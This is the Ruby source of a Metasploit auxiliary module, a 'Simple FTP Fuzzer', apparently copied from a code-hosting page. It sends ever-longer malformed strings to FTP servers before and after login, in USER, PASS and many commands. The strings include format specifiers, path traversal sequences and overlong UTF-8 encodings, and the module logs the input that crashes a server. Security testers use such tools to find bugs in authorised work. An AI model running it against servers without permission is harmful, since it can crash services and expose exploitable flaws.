258 lines
9.2 KiB
Ruby
258 lines
9.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Simple FTP Fuzzer',
|
|
'Description' => %q{
|
|
This module will connect to a FTP server and perform pre- and post-authentication fuzzing
|
|
},
|
|
'Author' => [ 'corelanc0d3r <peter.ve[at]corelan.be>', 'jduck' ],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(21),
|
|
OptInt.new('STARTATSTAGE', [ false, "Start at this test stage",1]),
|
|
OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),
|
|
OptInt.new('DELAY', [ false, "Delay between connections in seconds",1]),
|
|
OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),
|
|
OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000]),
|
|
OptInt.new('STOPAFTER', [ false, "Stop after x number of consecutive errors",2]),
|
|
OptString.new('USER', [ false, "Username",'anonymous']),
|
|
OptString.new('PASS', [ false, "Password",'mozilla@example.com']),
|
|
OptBool.new('FASTFUZZ', [ false, "Only fuzz with cyclic pattern",true]),
|
|
OptBool.new('CONNRESET', [ false, "Break on CONNRESET error",true]),
|
|
], self.class)
|
|
deregister_options('RHOST')
|
|
|
|
@evilchars = [
|
|
'A','a','%s','%d','%n','%x','%p','-1','0','0xfffffffe','0xffffffff','A/','//','/..','//..',
|
|
'A%20','./A','.A',',A','A:','!A','&A','?A','\A','../A/','..?','//A:','\\A','{A','$A','A*',
|
|
'cmd','A@a.com','#A','A/../','~','~A','~A/','A`/','>A','<A','A%n','A../','.././','A../',
|
|
'....//','~?*/','.\../','\.//A','-%A','%Y','%H','/1','!','@','%','&','/?(*','*','(',')',
|
|
'`',',','~/','/.','\$:','/A~%n','=','=:;)}','1.2.','41414141','-1234','999999,','%00','+A',
|
|
'+123','..\'','??.','..\.\'','.../','1234123+',
|
|
'%Y%%Y%/','%FC%80%80%80%80%AE%FC%80%80%80%80%AE/','????/','\uff0e/','%%32%65%%32%65/',
|
|
'+B./','%%32%65%%32%65/','..%c0%af','..%e0%80%af','..%c1%9c'
|
|
]
|
|
@commands = [
|
|
'ABOR','ACCT','ALLO','APPE','AUTH','CWD','CDUP','DELE','FEAT','HELP','HOST','LANG','LIST',
|
|
'MDTM','MKD','MLST','MODE','NLST','NLST -al','NOOP','OPTS','PASV','PORT','PROT','PWD','REIN',
|
|
'REST','RETR','RMD','RNFR','RNTO','SIZE','SITE','SITE CHMOD','SITE CHOWN','SITE EXEC','SITE MSG',
|
|
'SITE PSWD','SITE ZONE','SITE WHO','SMNT','STAT','STOR','STOU','STRU','SYST','TYPE','XCUP',
|
|
'XCRC','XCWD','XMKD','XPWD','XRMD'
|
|
]
|
|
@emax = @evilchars.length
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('FtpCommands', [ false, "Commands to fuzz at stages 4 and 5",@commands.join(" ")]),
|
|
OptBool.new('ExpandCrash', [ false, "Expand any crash strings",false]),
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def get_pkt
|
|
buf = sock.get
|
|
vprint_status("[in ] #{buf.inspect}")
|
|
buf
|
|
end
|
|
|
|
def send_pkt(pkt, get_resp = false)
|
|
vprint_status("[out] #{pkt.inspect}")
|
|
sock.put(pkt)
|
|
get_pkt if get_resp
|
|
end
|
|
|
|
|
|
def process_phase(phase_num, phase_name, prepend = '', initial_cmds = [])
|
|
print_status("[Phase #{phase_num}] #{phase_name} - #{Time.now.localtime}")
|
|
ecount = 1
|
|
@evilchars.each do |evilstr|
|
|
|
|
if datastore['FASTFUZZ']
|
|
evilstr = "Cyclic"
|
|
@emax = 1
|
|
end
|
|
|
|
if (@stopprocess == false)
|
|
count = datastore['STARTSIZE']
|
|
print_status(" Character : #{evilstr} (#{ecount}/#{@emax})")
|
|
ecount += 1
|
|
while count <= datastore['ENDSIZE']
|
|
begin
|
|
connect
|
|
if datastore['FASTFUZZ']
|
|
evil = Rex::Text.pattern_create(count)
|
|
else
|
|
evil = evilstr * count
|
|
end
|
|
print_status(" -> Fuzzing size set to #{count} (#{prepend}#{evilstr})")
|
|
initial_cmds.each do |cmd|
|
|
send_pkt(cmd, true)
|
|
end
|
|
pkt = prepend + evil + "\r\n"
|
|
send_pkt(pkt, true)
|
|
sock.put("QUIT\r\n")
|
|
select(nil, nil, nil, datastore['DELAY'])
|
|
disconnect
|
|
|
|
count += datastore['STEPSIZE']
|
|
|
|
rescue ::Exception => e
|
|
@error_cnt += 1
|
|
print_status("Exception #{@error_cnt} of #{@nr_errors}")
|
|
if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE')
|
|
if datastore['ExpandCrash']
|
|
print_status("Crash string : #{prepend}#{evil}")
|
|
else
|
|
print_status("Crash string : #{prepend}#{evilstr} x #{count}")
|
|
end
|
|
if @error_cnt >= @nr_errors
|
|
print_status("System does not respond - exiting now\n")
|
|
@stopprocess = true
|
|
print_error("Error: #{e.class} #{e} #{e.backtrace}\n")
|
|
return
|
|
else
|
|
print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")
|
|
select(nil,nil,nil,3) #wait 3 seconds
|
|
end
|
|
end
|
|
if @error_cnt >= @nr_errors
|
|
count += datastore['STEPSIZE']
|
|
@error_cnt = 0
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def ftp_commands
|
|
if datastore['FtpCommands'].to_s.upcase == "DEFAULT"
|
|
@commands
|
|
else
|
|
datastore['FtpCommands'].split(/[\s,]+/)
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
|
|
startstage = datastore['STARTATSTAGE']
|
|
|
|
@nr_errors = datastore['STOPAFTER']
|
|
@error_cnt = 0
|
|
@stopprocess = false
|
|
|
|
if datastore['FASTFUZZ']
|
|
@evilchars = ['']
|
|
end
|
|
|
|
print_status("Connecting to host " + ip + " on port " + datastore['RPORT'].to_s)
|
|
|
|
if (startstage == 1)
|
|
process_phase(1, "Fuzzing without command")
|
|
startstage += 1
|
|
end
|
|
|
|
if (startstage == 2) and (@stopprocess == false)
|
|
process_phase(2, "Fuzzing USER", 'USER ')
|
|
startstage += 1
|
|
end
|
|
|
|
if (startstage == 3) and (@stopprocess == false)
|
|
process_phase(3, "Fuzzing PASS", 'PASS ',
|
|
[ "USER " + datastore['USER'] + "\r\n" ])
|
|
startstage += 1
|
|
end
|
|
|
|
if (startstage == 4)
|
|
print_status "[Phase 4] Fuzzing commands: #{ftp_commands.join(", ")}"
|
|
ftp_commands().each do |cmd|
|
|
if (@stopprocess == false)
|
|
process_phase(4, "Fuzzing command: #{cmd}", "#{cmd} ",
|
|
[
|
|
"USER " + datastore['USER'] + "\r\n",
|
|
"PASS " + datastore['PASS'] + "\r\n"
|
|
])
|
|
end
|
|
end
|
|
# Don't progress into stage 5, it must be selected manually.
|
|
#startstage += 1
|
|
end
|
|
|
|
# Fuzz other commands, all command combinations in one session
|
|
if (startstage == 5)
|
|
print_status("[Phase 5] Fuzzing other commands (Part 2, #{Time.now.localtime}): #{ftp_commands.join(", ")}")
|
|
ftp_commands().each do |cmd|
|
|
if (@stopprocess == false)
|
|
ecount = 1
|
|
count = datastore['STARTSIZE']
|
|
print_status("Fuzzing command #{cmd} - #{Time.now.localtime}" )
|
|
|
|
connect
|
|
pkt = "USER " + datastore['USER'] + "\r\n"
|
|
send_pkt(pkt, true)
|
|
pkt = "PASS " + datastore['PASS'] + "\r\n"
|
|
send_pkt(pkt, true)
|
|
|
|
while count <= datastore['ENDSIZE']
|
|
print_status(" -> Fuzzing size set to #{count}")
|
|
begin
|
|
@evilchars.each do |evilstr|
|
|
if datastore['FASTFUZZ']
|
|
evilstr = "Cyclic"
|
|
evil = Rex::Text.pattern_create(count)
|
|
@emax = 1
|
|
ecount = 1
|
|
else
|
|
evil = evilstr * count
|
|
end
|
|
print_status(" Command : #{cmd}, Character : #{evilstr} (#{ecount}/#{@emax})")
|
|
ecount += 1
|
|
pkt = cmd + " " + evil + "\r\n"
|
|
send_pkt(pkt, true)
|
|
select(nil, nil, nil, datastore['DELAY'])
|
|
@error_cnt = 0
|
|
end
|
|
rescue ::Exception => e
|
|
@error_cnt += 1
|
|
print_status("Exception #{@error_cnt} of #{@nr_errors}")
|
|
if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE')
|
|
if @error_cnt >= @nr_errors
|
|
print_status("System does not respond - exiting now\n")
|
|
@stopprocess = true
|
|
print_error("Error: #{e.class} #{e} #{e.backtrace}\n")
|
|
return
|
|
else
|
|
print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")
|
|
select(nil,nil,nil,3) #wait 3 seconds
|
|
end
|
|
end
|
|
if @error_cnt >= @nr_errors
|
|
@error_cnt = 0
|
|
end
|
|
end
|
|
count += datastore['STEPSIZE']
|
|
end
|
|
sock.put("QUIT\r\n")
|
|
select(nil, nil, nil, datastore['DELAY'])
|
|
disconnect
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|